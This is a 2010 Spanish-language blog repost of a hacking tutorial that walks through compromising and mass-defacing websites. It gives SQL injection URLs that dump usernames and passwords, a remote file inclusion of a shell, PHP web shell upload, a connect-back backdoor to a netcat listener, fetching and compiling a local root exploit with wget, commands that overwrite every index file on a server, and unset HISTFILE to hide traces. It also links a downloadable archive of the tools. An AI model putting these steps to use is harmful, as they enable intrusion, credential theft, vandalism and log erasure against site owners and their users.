domingo, 5 de septiembre de 2010

Rooteando y Owneando By Zer0 z0orG :: Ir4Dex Group

Rooteando y Owneando
====================

Autor: Zer0 z0orG

--------------------

++++++ Indice ++++++

--------------------

1. Introducción
2. Ocultarse
3. Penetrar (mal pensados xD)
4. Encontrar panel de administracion
5. Subiendo phpshell
6. Rooteando
7. Mass Defecement
8. Agradecimientos
9. Contacto
0. Good Bye

-------------------------

+++++ Introducción ++++++

-------------------------

Que onda!!
En este texto ire explicando como entrar a una web de diferentes formas,
y despues como conseguir privilegios de root y como hacer un mass defacement.
todas las herramientas que se vayan a ocupar estaran al final del tutorial
para su descarga.

-------------------------

+++++++ Ocultarse +++++++

-------------------------

[ Opcion 1 - Modify Headers ]

Bueno pues primero que nada ay que ocultarnos lo mas que podamos asi que para ello
necesitaremos el addon de mozilla firefox llamado "modify headers" este incluido
en el rar que estara linkeado al final del tutorial. Modify headers como su nombre
lo indica modifica las cabeceras pareciendo como si otra ip sea la que visite la web.

Al instalar este addon iremos ala barra de herramientas de firefox y vamos a herramientas
luego abajo biene la pestaña de modify headers, damos click y se abre una ventana
en el rectangulo superior izquierdo nos da a escojer Add, Modify, Filter, escojeremos
"Modify", en el rectangulo superior enmedio pondremos lo siguiente "X-Forwarded-For" y en
el rectangulo superior derecho pondremos la ip que nos venga en gana ejemplo: "127.0.0.1".

Ahora vemos que dentro de la ventana de modify headers viene una pestaña llamada configuration
damos click y palomeamos la opcion que dice Always On, para asi cerrar la ventana y que siga
activo.

[ Opcion 2 - Tor ]

Instalaremos Tor, tambien vendra junto al rar. Ok ya instalado abrimos nuestro navegador firefox
y vamos a opciones y clickeamos en la pestaña "Avanzado" ya elegida esta pstaña vamos ala
pestaña debajo que dice "Red" y ahora clickeamos en la pestaña configuración... y ahora
elejimos la opcion que dice "configuracion manual del proxy" como estamos haciendo esto despues
de haber instalado tor ya estara configurado, y ya pues aceptar y listo andaremos anonimos.
Si quieres desactivar tor en la parte inferior derecha del navegador dice Tor Activado/Tor Desactivado
al dar click lo activamos o viceversa.

[ Opcion 3 - Las Dos ]

puedes usar las dos, asi sera mejor para tu identidad anonima =).

-------------------------

+++++++ Penetrar ++++++++

-------------------------

[ Opcion 1 - RFI ]

RFI Que biene de Remote File Inclusion no es nada mas que una vulnerabilidad muy vieja que consiste
en que la variable no este filtrada y este incluida, es decir si tenemos este code ejemplo:



y este code esta en www.pepito.com/pepe.php nosotros facilmente podemos incluir nuestra shell
de la siguiente manera www.pepito.com/pepe.php?rfi=www.juakeroso.elite.xD.com/shell.txt?
suponiendo que la shell este en www.juakeroso.elite.xD.com/shell.txt y listo tendremos nuestra
php shell.

[ Opcion 2 - Sql Injection ]

Sql Injection esto es cuando las variables no son bien filtradas y estas son incluidas en querys, asi es
como se logra consultar hasta sacar usuarios, contraseñas, etc.
Ejemplo:

www.pepito.com.mx/index.php?id=15

Si tubieramos el codigo de dicho archivo leeriamos para ver el error pero si no tenemos el codigo?
pues probariamos con valores verdadero-falso, es decir para inyectar valor verdadero seria de
la siguiente manera

www.pepito.com.mx/index.php?id=15 and 1=1

y la web no tendria que cambiar su contenido en lo absoluto, pero si inyectamos un valor falso:

www.pepito.com.mx/index.php?id=15 and 1=0

si esta web es vulnerable mostrara algun cambio(error sql), como falta de contenido, etc.

ahora como saber cuantas columnas tiene la tabla?

bueno usariamos order by, ejemplo

www.pepito.com.mx/index.php?id=15 order by 1 - Muestra contenido correcto
www.pepito.com.mx/index.php?id=15 order by 2 - Muestra contenido correcto
www.pepito.com.mx/index.php?id=15 order by 3 - Muestra contenido correcto
www.pepito.com.mx/index.php?id=15 order by 4 - Muestra contenido correcto
www.pepito.com.mx/index.php?id=15 order by 5 - Muestra contenido correcto
www.pepito.com.mx/index.php?id=15 order by 6 - Muestra contenido correcto
www.pepito.com.mx/index.php?id=15 order by 7 - Muestra contenido correcto
www.pepito.com.mx/index.php?id=15 order by 8 - Muestra contenido correcto
www.pepito.com.mx/index.php?id=15 order by 9 - Aqui lo interesante

la pagina no mostrara el contenido completo o un error como el siguiente:

Unknown column '9' in 'order clause'

Esto quiere decir que tiene 8 columnas.

Ahora haremos consultas para obtener informacion de mysql.

Dijimos que tenia 8 columnas asi que:

www.pepito.com.mx/index.php?id=-1 union select 1,2,3,4,5,6,7,8

Ahora nos mostrara algunos numeros la pagina, esos corresponden a alguna columna de x tabla.

Supongamos que tiene tabla llamada usuarios y de columnas usuario y passwd, para hacer la consulta y
nos muestre el usuario y la password seria algo asi:

www.pepito.com.mx/index.php?id=-1 union select 1,2,3,4,5,6,7,8 from usuarios - Tabla usuarios

y seguimos viendo los numeros que corresponden a alguna columna, supongamos que son el

2,4,6 los numeros que se muestran, cambiaremos el 4 por el nombre de la columna usuario:

www.pepito.com.mx/index.php?id=-1 union select 1,2,3,usuario,5,6,7,8 from usuarios - Tabla usuarios : Columna usuario

y wow nos muestra el nombre del usuario, ahora cambiemos por passwd para que nos muestre la password =D

www.pepito.com.mx/index.php?id=-1 union select 1,2,3,passwd,5,6,7,8 from usuarios - Tabla Usuarios : Columna passwd

Asi es nos muestra la password. Pero podemos concatenar para que nos muestre usuario y password de la tabla usuarios =).

www.pepito.com.mx/index.php?id=-1 union select 1,2,3,concat(usuario,passwd),5,6,7,8 from usuarios

y con esto tendriamos usuario y contraseña de la tabla usuarios =O.

Ya tenemos el usuario y la password =), ahora pasemos al siguiente tema xD.

[ Opcion 3 - Mas opciones ]

hay mas opciones que solo rfi y sql inj, pero estas son las mas comunes si quieres saber mas, visita foros, webs, blogs
etc. google siempre te dara la respuesta y si no ay varios users de la red que son amables y te podran responder dudas =).

--------------------------------------------------

+++++++ Encontrar panel de administracion ++++++++

--------------------------------------------------

Bueno ya tenemos el usuario y password ahora falta encontrar el panel del administrador, aveces son faciles de encontrar
ya que la mayoria tiene como nombre de carpeta al panel como: panel, admin, administracion, administrador, adm, login
a veces solo es un archivo como: login.php, admin.php, adm.php, administrador.php, etc. es cuestion de imaginacion.
Pero algunas ocaciones es dificil ya que pueden ponerle de nombre ala carpeta logueatebuey y ni para cuando la vamos
a encontrar xDD, asi que en estos casos se pueden usar scanners, ya sea en perl, php, o software como intellitamper,
acunetix, etc.

NEXT XD

--------------------------------------------------

+++++++++++++ Subiendo phpshell ++++++++++++++++++

--------------------------------------------------

Ya tenemos usuario y password y el panel, asi que nos logueamos y worales somos admin xD, ahora
casi todas las webs tienen en el panel un uploader de archivos ya sea para imagenes o lo que sea
asi que aprobechamos y subimos la phpshell ya sea la c99, c40, c100, r57, la que sea.

--------------------------------------------------

++++++++++++++++ Rooteando +++++++++++++++++++++++

--------------------------------------------------

[ Que necesitamos? ]

Ok llegamos al punto al cual muchos se confunden, primero que nada necesitamos lo siguiente:

1. Netcat - Es una herramienta de red bajo licencia GPL (en la versión de GNU) disponible para sistemas
UNIX, Microsoft y Apple que permite a través de intérprete de comandos y con una sintaxis muy sencilla abrir
puertos TCP/UDP en un HOST (quedando netcat a la escucha), asociar una shell a un puerto en
concreto (para conectarse por ejemplo a MS-DOS o al intérprete bash de Linux remotamente) y forzar
conexiones UDP/TCP (útil por ejemplo para realizar rastreos de puertos o realizar transferencias de
archivos bit a bit entre dos equipos).

Sus capacidades hacen que sea a menudo usada como una herramienta para abrir puertas traseras una vez
invadido un sistema y obtenido privilegios de administrador o root del equipo. También resulta extremadamente
útil a efectos de depuración para aplicaciones de red.

2. Backdor(en este caso data cha0s) - La Data Cha0s es un Backdoor que opera haciendo un Connect Back, osea una
conexion inversa, de server a cliente. Tambien se conoce como reverse shell, en si funcionaria como un
troyano de conexion inversa =P.

3. Local Root Exploit - Término con el que se denomina en el entorno "hacker" a un método concreto de usar un error
de algún programa (bug) para entrar en un sistema informático. Generalmente, un exploit suele ser un programa que
se aprovecha de algún error del sistema operativo, por ejemplo, para obtener los privilegios del administrador y así
tener un control total sobre el sistema. Aunque como decíamos, un exploit no tiene por que ser un programa, por definición
es simplemente una forma de sacar provecho de un error en un programa (explotar un error).

Recuerda que la utilización de un "exploit" sin la supervisión/aprobación del administrador del sistema puede ser
considerado (y lo es) un delito y está penado con fuertes multas y/o cárcel.

4. Tener permisos de escritura, lectura y ejecucion.

[ Como saber si es rooteable el server donde tengo la phpshell? ]

Bueno pues como ya habiamos subido la phpshell, esta nos dice que version del kernel es,

enseguida de este comando biene la informacion seria algo como esto:

uname -a: Linux pepitoweb.com 2.6.18-8.el5 #5 smp Thu Mar 15 19:57:35 EDT 2007 i686 athlon i386 GNU/Linux

Ok pues aqui nos dice que es la version 2.6.18... bueno ahora iremos a www.milw0rm.com para buscar el local root exploit
Y si encontramos local root exploit pues quiere decir por logica que si se puede rootear y si no encontramos, quiere
decir que es priv8 o no es rooteable por lo consiguiente no ay root exploit para la version =P.

[ Poniendo ala escucha Netcat ]

Pues pongamos ala escucha netcat

Nos vamos a inicio/ejecutar/cmd y despues en la consola nos vamos a donde tenemos netcat,
ejemplo si lo pusimos en c: hacemos lo siguiente:
C:\Documents and Settings\Administrador>cd..
C:\Documents and Settings>cd..
C:\>
Luego tecleamos nc -lvvp puerto que queramos siempre y cuando lo tenga abierto el server y tu xD... ejemplo: nc -lvvp 21
C:\>nc -lvvp 21
listening on [any] 21 ...
Ok ya esta ala escucha el puerto 21.

[ Subiendo backdoor y ejecutandolo ]

Subimos la Data Cha0s y la ejecutamos, vamos al ejecutor de comando de la phpshell y tecleamos:

perl dc.pl tuip puerto que pusiste ala escucha en tu pc

perl dc.pl 127.0.0.1 21

Y nos dira lo siguiente:
Data Cha0s Connect Back Backdoor

[*] Dumping Arguments
[*] Connecting...
[*] Spawning Shell
[*] Datached

Ahora vamos a netcat y vemos si en realidad conecto, en caso que aya conectado aparecera lo siguiente, ejemplo:
connect to [127.0.0.1] xweb.com [127.0.0.1] 57566

y en caso de que no conecte seguira apareciendo:
listening on [any] 21 ...

De lo contrario ya estaremos conectados al server desde nuestra pc.

[ Subiendo Local Root Exploit, Compilarlo y Ejecutarlo ]

Bueno podemos subir el local root exploit de dos maneras diferentes una mediante wget desde netcat y la otra
por medio de la phpshell.

1. Por medio de netcat, ya conectados el server a nosotros tecleamos wget http://pepe.com/localrootexploit.c
y esperamos a que suba.
2. La mas rapida y facil subir a traves del upload de la phpshell.

Ya subido el local root exploit hay que compilarlo, de la siguiente manera tecleamos en netcat:

gcc localrootexploit.c -o bad

ok ya habiendolo compilado es hora de darle permisos para poder ejecutarlo, de esta forma le daremos permisos:

chmod -c 777 bad

y nos avisara cuando se cambien.

Es hora de ejecutarlo y tener uid(0) de root. Lo ejecutaremos de la siguiente forma:

./bad

ya que termine el local root exploit tecleemos id y nos mostrara esto:

uid=0(root) gid=0(root) groups=48(apache)

y listo ya tenemos uid(0) de root =).

--------------------------------------------------

++++++++++++++++ Mass Defecement +++++++++++++++++

--------------------------------------------------

Ya que somos root pues ahora si podemos meter comando y medio =P.

Supongo que ya tenemos nuestro index preparado con el owned by, y los Gr3tz no?
asi que ahora lo subimos, de igual manera que antes tenemos dos opciones de subirlo
mediante wget y el upload de la phpshell.

Buscaremos las webs alojadas en el server con el siguiente comando en netcat claro:

find / -name httpd.conf

Esto lleva tiempo asi que no desesperes =P.
Cuando termine de buscar nos mostrara el directorio y ahora veremos ese directorio para sacar
las webs alojadas con el siguiente comando, ejemplo:

cat /etc/httpd/conf/httpd.conf | grep ServerName

Les recomiendo guardar los dominios en un txt para despues poderlos visualizar.

Bueno ahora buscaremos todos los index.* del server y los sustituiremos por el nuestro con este comando:

find /etc/ -name "index.*" -exec cp /tmp/index.html {} \;

Bueno el directorio "etc" depende de cada server donde esten los dominios okz? y
este index es el que nosotros subimos, tambien depende a que carpeta lo subimos "/tmp/index.html".

y listo ya esta el mass defecement.

ahora ay que borrar logs asi que resetearemos el archivo que guarda el historial con el sig. comando:

unset HISTFILE

Tambien pueden buscar en google algunos zappers.
--------------------------------------------------

Link de Descarga de las utilidades:

http://rapidshare.com/files/209519905/Zer0_z0orG_www.zer0-z0org.com.zip

--------------------------------------------------

++++++++++++++++ Agradecimientos +++++++++++++++++

--------------------------------------------------

Oscar Rovira, Komtec1, Her0, 0o_ZeuS_o0, kakalake, MurdeR, Xtremo31,
syndr0me, knet, boer!, kaOs!, DADE, Ir0net, PandraX, l0gin-root, deyabu,
bucio, bikolinux, m0x, zutr4, j4mz, panther-root, f0urtruder, Poison san X,
dbytes, uxmal, phonix, the pink phanter, You Know, fresnohack, xoptik,
furcronet, zakix, en3sis, v-getah, Elinet, kar0nt3, Inferno, ruderford
and more friends.

&&

HsLTeam & DiosdelaRed & RemoteExecution

--------------------------------------------------

+++++++++++++++++ Contacto +++++++++++++++++++++++

--------------------------------------------------

Para cualquier duda, pregunta, comentario, mentada de madre, xD, etc.

E-mail: Zer0-z0orG@GobiernoFederal.com
Website: http://www.zer0-z0org.com
http://informaticaxd.com.ar

--------------------------------------------------

++++++++++++++++ Good Bye +++++++++++++++++

--------------------------------------------------

Espero sea entendible y de su agrado.

15 de Marzo del 2009

By Zer0 z0orG - Ir4Dex Group

No hay comentarios: